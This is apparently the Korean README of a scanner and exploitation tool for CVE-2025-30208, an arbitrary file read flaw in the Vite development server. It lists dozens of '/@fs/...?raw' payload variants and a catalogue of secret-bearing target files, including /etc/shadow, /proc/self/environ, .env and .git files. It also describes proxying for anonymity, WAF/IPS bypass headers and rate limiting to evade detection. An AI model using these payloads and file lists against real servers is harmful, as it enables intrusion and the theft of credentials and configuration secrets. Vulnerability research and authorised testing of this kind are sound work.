🔥 CVE-2025-30208 Vite 임의 파일 읽기 취약점 스캐너

CVE-2025-30208을 위한 엔터프라이즈급 기능을 갖춘 고급 취약점 스캐너

Vite 임의 파일 읽기 취약점 탐지를 위한 전문 침투 테스트 도구

📖 개요

이 도구는 Vite 개발 서버의 CVE-2025-30208 취약점을 탐지하고 악용하도록 설계된 종합적인 취약점 스캐너입니다. 이 취약점은 Vite의 파일 시스템 엔드포인트를 통해 임의 파일 읽기 접근을 허용하여 민감한 구성 파일, 소스 코드 및 시스템 정보를 노출할 수 있습니다.

🎯 이 도구가 하는 일

탐지: 네트워크 전체에서 취약한 Vite 인스턴스를 탐지합니다
악용: 임의 파일 읽기 취약점을 안전하게 악용합니다
발견: 민감한 파일과 구성 데이터를 발견합니다
보고: 여러 형식(HTML, JSON, 콘솔)으로 결과를 보고합니다
관리: 스캔 세션과 구성을 관리합니다
오류 처리: 자동 재시도 메커니즘으로 오류를 원활하게 처리합니다

🏗️ 모듈식 아키텍처

이 도구는 유지보수성과 확장성을 높이기 위해 모듈식 아키텍처를 갖추고 있습니다:

CVE-2025-30208.py - 메인 스캐너 애플리케이션
payloads.py - 고급 악용 페이로드(60개 이상 변형)
sensitive_files.py - 포괄적인 민감 파일 데이터베이스(200개 이상 파일)
html_template.py - 향상된 해커 스타일 HTML 보고 템플릿

🚀 빠른 시작

사전 요구 사항

pip3 install -r requirements.txt

기본 사용법

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 기능

🔍 핵심 취약점 탐지

60개 이상의 고급 페이로드: 최대 탐지를 위한 포괄적인 악용 기술
스마트 탐지: 오탐(false positive)을 방지하는 지능형 응답 분석
실시간 검증: 대상 응답의 지속적인 검증
종합 테스트: 알려진 모든 취약 엔드포인트 테스트

🛡️ 강화된 보안 기능

프록시 지원: 익명성을 위한 HTTP/HTTPS 프록시 구성
사용자 지정 헤더: 사용자 지정 HTTP 헤더로 WAF/IPS 우회
속도 제한: 탐지를 피하기 위한 구성 가능한 지연
세션 관리: 스캔 세션 저장 및 복원
입력 검증: 포괄적인 매개변수 검증

🔧 고급 기능

일괄 스캔: 여러 대상을 멀티스레드로 스캔
민감 파일 발견: 200개 이상의 민감 파일 자동 발견
연결 테스트: TCP/UDP/HTTP/HTTPS 프로토콜 테스트
오류 복구: 지수 백오프(exponential backoff)를 이용한 자동 재시도
종합 로깅: 타임스탬프가 포함된 상세 로그

📊 보고 및 출력

🎨 향상된 HTML 보고서: 애니메이션이 포함된 아름다운 해커 스타일 취약점 보고서
JSON 내보내기: 추가 분석을 위한 구조화된 데이터
콘솔 출력: 색상으로 구분된 실시간 피드백
로그 파일: 상세 감사 추적
대화형 웹 인터페이스: 보고서 열람용 내장 웹 서버

🔧 사용법 가이드

1. 기본 구성

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. 취약점 테스트

CVE-2025-30208 > run

# Enable verbose mode for detailed output
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. 일괄 스캔

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Press Enter twice to finish]

4. 민감 파일 발견

CVE-2025-30208 > scan

5. 고급 구성

# Configure proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Set custom headers
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configure rate limiting
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. 향상된 HTML 보고

# Generate beautiful HTML report
CVE-2025-30208 > pull

# Start web server to view report
CVE-2025-30208 > web

# Start web server on specific port
CVE-2025-30208 > web 8081

# Stop web server
CVE-2025-30208 > web off

📊 명령어 참조

명령어	설명	예시
`set <option> <value>`	구성 옵션 설정	`set RHOST 192.168.1.100`
`show options`	현재 설정 표시	`show options`
`edit`	대화형 옵션 편집기	`edit`
`run` / `exploit`	취약점 테스트 실행	`run`
`batch`	여러 대상 일괄 스캔	`batch`
`scan`	민감 파일 발견	`scan`
`pull`	결과를 HTML/JSON으로 내보내기	`pull`
`web [on\|off\|port]`	HTML 보고서용 웹 서버	`web 8080`
`save`	세션 구성 저장	`save`
`load`	세션 구성 불러오기	`load`
`test`	대상 연결 테스트	`test`
`validate`	현재 구성 검증	`validate`
`verbose`	상세(verbose) 모드 전환	`verbose`
`proxy`	프록시 설정 구성	`proxy`
`headers`	사용자 지정 HTTP 헤더 설정	`headers`
`rate`	속도 제한 구성	`rate`
`log`	로깅 정보 표시	`log`
`help` / `?`	도움말 표시	`help`
`exit` / `quit`	도구 종료	`exit`

⚙️ 구성 옵션

옵션	설명	기본값	검증
`RHOST`	대상 호스트/IP 주소	-	호스트 이름/IP 검증
`RPORT`	대상 포트 번호	-	포트 범위(1-65535)
`FILEPATH`	테스트할 파일 경로	`etc/passwd`	경로 검증
`PROXY`	HTTP/HTTPS 프록시 URL	-	URL 형식 검증
`VERBOSE`	상세(verbose) 출력 활성화	`false`	부울(Boolean) 검증
`RATE_LIMIT`	요청 간 지연(초)	`0.3`	숫자 검증
`THREADS`	일괄 스캔 스레드 수	`5`	정수 검증
`TIMEOUT`	요청 시간 제한(초)	`5`	정수 검증
`CUSTOM_HEADERS`	사용자 지정 HTTP 헤더(JSON)	`{}`	JSON 형식 검증

🎨 향상된 페이로드 시스템

이 스캐너는 payloads.py에 구성된 60개 이상의 다양한 페이로드 변형을 사용합니다:

기본 @fs 페이로드

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

확장 매개변수 변형

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Vite 특정 변형

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

모듈 시스템 변형

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

대체 엔드포인트

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 향상된 민감 파일 발견

이 도구는 sensitive_files.py에 구성된 200개 이상의 민감 파일을 테스트합니다:

🖥️ 시스템 파일(Linux/Unix)

/etc/passwd - 사용자 계정 정보
/etc/shadow - 암호화된 비밀번호 데이터
/etc/services - 네트워크 서비스
/etc/hosts - 호스트 이름 매핑
/etc/fstab - 파일 시스템 테이블
/etc/ssh/sshd_config - SSH 서버 구성
/etc/crontab - 시스템 cron 작업
/etc/sudoers - Sudo 구성

📊 프로세스 정보

/proc/version - 커널 버전
/proc/cpuinfo - CPU 정보
/proc/meminfo - 메모리 정보
/proc/self/environ - 프로세스 환경
/proc/self/cmdline - 프로세스 명령줄
/proc/net/tcp - TCP 연결
/proc/net/udp - UDP 연결

⚙️ 애플리케이션 구성

.env - 환경 변수
.env.local - 로컬 환경
.env.production - 프로덕션 환경
config.json - 애플리케이션 구성
settings.json - 애플리케이션 설정
application.properties - Spring 구성
application.yml - YAML 구성
database.yml - 데이터베이스 구성
secrets.json - 비밀 관리

📦 Node.js / JavaScript 파일

package.json - Node.js 의존성
package-lock.json - 잠긴 의존성
yarn.lock - Yarn 잠금 파일
vite.config.js - Vite 구성
vite.config.ts - TypeScript Vite 구성
tsconfig.json - TypeScript 구성
webpack.config.js - Webpack 구성
next.config.js - Next.js 구성
nuxt.config.js - Nuxt.js 구성
angular.json - Angular 구성
vue.config.js - Vue.js 구성
rollup.config.js - Rollup 구성
eslint.config.js - ESLint 구성
prettier.config.js - Prettier 구성
jest.config.js - Jest 구성
babel.config.js - Babel 구성
tailwind.config.js - Tailwind CSS 구성

🔧 Git 파일

.git/config - Git 구성
.gitignore - Git 무시 규칙
.gitattributes - Git 속성
.gitmodules - Git 서브모듈
.git/HEAD - 현재 브랜치
.git/logs/HEAD - Git 로그
.git/refs/heads/master - 마스터 브랜치
.git/refs/heads/main - 메인 브랜치

📚 문서 파일

README.md - 프로젝트 문서
CHANGELOG.md - 변경 로그
LICENSE - 라이선스 정보
CONTRIBUTING.md - 기여 지침
AUTHORS - 작성자 정보
TODO.md - 할 일 목록
ROADMAP.md - 개발 로드맵

🐳 Docker 파일

Dockerfile - Docker 구성
docker-compose.yml - Docker Compose
docker-compose.override.yml - 재정의 구성
.dockerignore - Docker 무시 규칙
docker-compose.prod.yml - 프로덕션 구성
docker-compose.dev.yml - 개발 구성

CVE-2025-30208

인기